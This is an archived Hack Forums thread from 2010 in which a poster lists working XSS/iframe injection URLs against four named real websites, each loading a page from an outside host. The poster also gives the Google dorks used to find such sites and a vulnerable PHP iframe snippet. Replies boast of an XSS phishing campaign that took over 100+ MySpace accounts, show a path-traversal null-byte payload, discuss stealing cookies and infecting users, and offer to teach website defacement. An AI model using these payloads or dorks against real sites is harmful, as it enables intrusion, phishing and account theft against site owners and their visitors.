+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [XSS/iFrame] Exploits - 4 Websites (/showthread.php?tid=730948)
Pages: Pages
1
2
[XSS/iFrame] Exploits - 4 Websites - ImPlode - Oct 9, 2010
Hello =]
I going very bored and started getting into this, but while playing around with dorks and making my own dorks on Google I came across these sites.
These are my own findings even though I joined today :P
Code
##
# XSS #--
##
http://www.georgeharrison.com/letitroll/home.php?page=http://bl4ckh4t.webs.com/file.html
http://www.starjouet.com/home.php?page=http://bl4ckh4t.webs.com/file.html
http://www.acquasanta.com/index.php?page=http://bl4ckh4t.webs.com/file.html
http://www.tea-mail.de/index.php?p=http://bl4ckh4t.webs.com/file.htmlAll they use is a simple iFrame like this for eg:
PHP Code
<?php
<iframe name="iframe-test" src="<?php $_GET['page']; ?>">
</iframe>
Then a hacker/skiddie could enter like http://thefailswebsite/index.php?page=URL_HERE
Thanks for the 19 who viewed and didn't comment =] -(Sarcasm)
* - Burn Notice - Oct 9, 2010
I doubt this would work. But nevertheless, good post.
* - ImPlode - Oct 9, 2010
(Oct 9, 2010 10:39 PM)-NCIS- Wrote: I doubt this would work. But nevertheless, good post.Its an iframe XSS exploit.
* - Burn Notice - Oct 9, 2010
XSS exploits generally aren't that big of a security risk under most circumstances.
* - ImPlode - Oct 9, 2010
(Oct 9, 2010 11:03 PM)-NCIS- Wrote: XSS exploits generally aren't that big of a security risk under most circumstances.
Do I look stupid? I already know. Its client side and cannot cause any defacements.
* - Burn Notice - Oct 9, 2010
Don't ask me that, cause you won't like the answer.
Let's agree XSS is useless these days and move on.
Good day.
* - # Ghost ℍackεr - Oct 9, 2010
(Oct 9, 2010 11:24 PM)-NCIS- Wrote: Let's agree XSS is useless these days and move on.
Lets DDoS, make the admin move on.
🤣
* - ImPlode - Oct 9, 2010
(Oct 9, 2010 11:24 PM)-NCIS- Wrote: Don't ask me that, cause you won't like the answer.
Let's agree XSS is useless these days and move on.
Good day.
Yeah I agree, It it useless :P but its always fun to discover them
(Oct 9, 2010 11:42 PM)# Ghost ℍackεr Wrote: Lets DDoS, make the admin move on.Lol - (message to short)
🤣
Yeah XSS is crap and shitty
* - shyamraj - Oct 9, 2010
Though XSS is not considered to be a big security threat.
But it can still be used to do some serious damage to the victim.
Can you share the dork that you used to find XSS vulnerable sites?
* - ImPlode - Oct 10, 2010
(Oct 9, 2010 11:52 PM)shyamraj Wrote: Though XSS is not considered to be a big security threat.
But it can still be used to do some serious damage to the slave.
I can teach you my ways of defacing websites and such, email me @ [email protected] <3
My dork was (inurl:"index.php?page=home.html") and (inurl:"index.php?page=about.html"), mainly basic names of pages you would find on the net.
* - 03storic - Oct 10, 2010
XSS is a huge security threat is it is persistant. Myspace had one in 07/08 that allowed me to cover people's profile with a phisher and all they see is a login page, with that I was able to get 100+ accounts in less then 10 minutes.
* - Kick Buttowski - Oct 21, 2010
XSS is also dangerous lol . With iframes we can infect users and also inject worm in to the server
* - iDropDoX - Oct 21, 2010
I like using cross site/local inclusion patterns because its more sanitized and can be used to retrieve results faster then ?p=../../../../john.txt%00, although %00 patterns can be used when you read from the file (?site.php=) then sanitize an input. Its quite useful but doesn't work a lot.
I like using it for XSS-Shell behavior, its much more interesting and tempting. + who wouldn't want a big valid UA list + cookie patterns? It can get you long login-dates depending on expiration.
* - Isonyx - Oct 21, 2010
Nice job here. Thanks for explaining the iFrame exploit method.
* - ImPlode - Oct 22, 2010
Not a problem, pleasure to help anyone here :)